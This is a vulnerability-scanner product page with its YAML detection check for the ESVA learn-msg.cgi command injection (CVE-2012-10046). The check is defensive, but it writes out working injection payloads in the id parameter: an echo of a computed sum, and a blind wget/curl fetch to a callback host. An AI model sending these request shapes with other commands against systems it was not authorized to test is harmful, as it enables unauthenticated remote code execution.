ESVA — 1 vulnerability check
noctis ships 1 vulnerability check for ESVA, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
E-Mail Security Virtual Appliance (ESVA) learn-msg.cgi Command Injection
| CVE | CVE-2012-10046 |
|---|---|
| Severity | critical · CVSS 9.3 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/esva/CVE-2012-10046.yaml |
Detects the unauthenticated OS command injection in E-Mail Security Virtual Appliance (ESVA): /cgi-bin/learn-msg.cgi passes its id parameter to a shell command without filtering, so a value such as `|<command>;` runs a command as the web server user. The feed sends an id that makes the shell echo the sum of two random integers, and reports only when that shell-computed sum comes back in the reply. When out-of-band detection is enabled and no output is shown, it instead injects an HTTP fetch of a per-run callback URL that only a shell can rebuild, and reports when the callback arrives.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET /cgi-bin/learn-msg.cgi?id=%7Cecho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%3B - Checks
resp.bodyforNOCTIS[0-9]{7}→ finding QoD 97: ESVA command injection confirmed via GET /cgi-bin/learn-msg.cgi: injected id `|echo NOCTIS$((…+…));` returned the shell-computed marker … - HTTP(S) request
GET /cgi-bin/learn-msg.cgi?id=%7Cwget%20-q%20-T%205%20-t%201%20-O%20%2Fdev%2Fnull%20http%… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: ESVA blind command injection confirmed via GET /cgi-bin/learn-msg.cgi id: a shell collapsed the $()-split OOB token and the injected wget/c…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-10046
- https://www.exploit-db.com/exploits/20551
- https://www.exploit-db.com/exploits/20712
- https://www.vulncheck.com/advisories/email-security-virtual-appliance-command-injection
- https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/esva_exec.rb
Feed source — tests/vulnerabilities/esva/CVE-2012-10046.yaml
# E-Mail Security Virtual Appliance (ESVA) — /cgi-bin/learn-msg.cgi `id`
# command injection (CVE-2012-10046)
#
# Ported from OpenVAS/Greenbone NVT `2012/gb_evsa_code_execution.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.103537, GPL-2.0-only). Request shape checked
# against the Metasploit module exploit/linux/http/esva_exec (EDB 20712) and
# the original advisory (EDB 20551): `GET /cgi-bin/learn-msg.cgi?id=|<cmd>;`
# runs <cmd> through /bin/sh, unauthenticated, and learn-msg.cgi prints the
# command output in its reply (then a meta refresh to /learned.html). Tested
# by the advisories on ESVA_2057; versions before 2.0.6 are named affected.
#
# The NASL gates on /released.html carrying the "Message released from
# quarantine" title, then sends `id=|id;` and matches `uid=..gid=..`.
#
# Detection here — nothing written, read or persisted:
# 1. In-band (QoD 97): id=`|echo NOCTIS$((a+b));`. Reported only when
# NOCTIS<a+b> comes back; the 7-digit sum never appears in the request,
# so a page reflecting the parameter cannot produce it.
# 2. OOB callback (QoD 97, only when OOB is configured and 1 did not fire):
# bounded `wget ... || curl ...` to the per-run OOB URL, the token split
# by an empty $() so only a shell rebuilds the callback path.
#
# Better than the NASL: no dependency on /released.html (a removed or
# customised page made the NASL miss the bug), blind installs are caught by
# OOB, and the proof is a per-run value only real execution yields instead of
# `uid=`, which any page quoting an `id` output would match.
uid: 48da9020-8bfa-48a8-a5fa-fc5ed0f91a6f
name: "E-Mail Security Virtual Appliance (ESVA) learn-msg.cgi Command Injection (CVE-2012-10046)"
description: |
Detects the unauthenticated OS command injection in E-Mail Security Virtual
Appliance (ESVA): /cgi-bin/learn-msg.cgi passes its id parameter to a shell
command without filtering, so a value such as `|<command>;` runs a command
as the web server user. The feed sends an id that makes the shell echo the
sum of two random integers, and reports only when that shell-computed sum
comes back in the reply. When out-of-band detection is enabled and no output
is shown, it instead injects an HTTP fetch of a per-run callback URL that
only a shell can rebuild, and reports when the callback arrives.
cves: [CVE-2012-10046]
cvss: 9.3
severity: critical
confidence_base: 0.30
category: rce
tags: [esva, email-security, mailscanner, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-10046"
- "https://www.exploit-db.com/exploits/20551"
- "https://www.exploit-db.com/exploits/20712"
- "https://www.vulncheck.com/advisories/email-security-virtual-appliance-command-injection"
- "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/esva_exec.rb"
- "OpenVAS/Greenbone NASL 2012/gb_evsa_code_execution.nasl (GPL-2.0-only)"
steps:
# Per-run proof values: a, b in 500000..999999 so the sum has 7 digits and
# cannot hide inside a reflected 6-digit operand.
- id: gen-proof
action: script
code: |
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
#{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }
store_as: proof
- id: split-oob-token
action: script
condition: "oob_enabled"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: init-resp
action: set_var
var_name: resp
var_value: {status: 0, body: ""}
# ── 1. In-band ──────────────────────────────────────────────────────────
# %7C = | %20 = space %24%28%28 = $(( %2B = + %29%29 = )) %3B = ;
- id: inject-echo
action: http_request
method: GET
path: "/cgi-bin/learn-msg.cgi?id=%7Cecho%20NOCTIS%24%28%28{{proof.a}}%2B{{proof.b}}%29%29%3B"
tls_insecure: true
follow_redirects: false
port: "{{port}}"
timeout_secs: 20
store_as: resp
- id: confirm-echo
action: match
source: resp.body
pattern: "NOCTIS[0-9]{7}"
condition: "resp.status == 200 && stridx(resp.body, proof.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ESVA command injection confirmed via GET /cgi-bin/learn-msg.cgi: injected id `|echo NOCTIS$(({{proof.a}}+{{proof.b}}));` returned the shell-computed marker {{proof.marker}}"
stop: true
# ── 2. OOB callback (blind installs) ────────────────────────────────────
# `||curl` covers hosts without wget; both are bounded to 5 s, one try.
# %3A = : %2F = / %24%28%29 = $() %7C%7C = ||
- id: inject-oob
action: http_request
method: GET
path: "/cgi-bin/learn-msg.cgi?id=%7Cwget%20-q%20-T%205%20-t%201%20-O%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%20%7C%7C%20curl%20-s%20-m%205%20-o%20%2Fdev%2Fnull%20http%3A%2F%2F{{oob_host}}%3A{{oob_port}}%2F{{oobsplit.a}}%24%28%29{{oobsplit.b}}%3B"
tls_insecure: true
follow_redirects: false
port: "{{port}}"
timeout_secs: 20
condition: "oob_enabled"
store_as: oob_req
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "ESVA blind command injection confirmed via GET /cgi-bin/learn-msg.cgi id: a shell collapsed the $()-split OOB token and the injected wget/curl fetched the per-run OOB URL (HTTP callback received)"
stop: true